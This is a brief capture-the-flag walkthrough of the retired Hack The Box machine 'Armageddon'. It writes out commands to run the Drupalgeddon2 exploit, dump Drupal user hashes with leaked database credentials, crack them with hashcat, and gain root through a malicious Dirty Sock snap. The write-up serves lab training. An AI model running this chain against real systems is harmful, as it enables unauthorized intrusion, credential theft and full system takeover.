Hack The Box · Linux Machine

Armageddon

Machine details
NameArmageddon
Release date27 Mar 2021
Retire date24 Jul 2021
OSLinux
DifficultyEasy - Retired [0]
Rated difficultyArmageddon community difficulty rating
Radar graphArmageddon radar graph
Creatorbertolis
Pentest Workshop PDFArmageddon.pdf

Drupalgeddon2

AutoRecon found SSH and Drupal 7 on Apache. Drupal 7.56 was vulnerable to CVE-2018-7600, and the Drupalgeddon2 script produced a web shell.

git clone https://github.com/dreadlocked/Drupalgeddon2
sudo ruby drupalgeddon2.rb http://10.10.10.233
Armageddon Drupal login page

Database credentials and SSH

settings.php exposed the Drupal database account. Querying the users table returned the brucetherealadmin Drupal hash.

mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'use drupal; select * from users;'
sudo hashcat -m 7900 -a 0 hash /usr/share/wordlists/rockyou.txt --force

The hash cracked to booboo, and password reuse provided SSH access as brucetherealadmin.

SSH login as brucetherealadmin

Dirty Sock privilege escalation

sudo -l allowed passwordless snap install. A malicious Dirty Sock snap created a local sudo-capable account.

sudo /usr/bin/snap install --devmode installation.snap
su dirty_sock
sudo /bin/bash
Root shell on Armageddon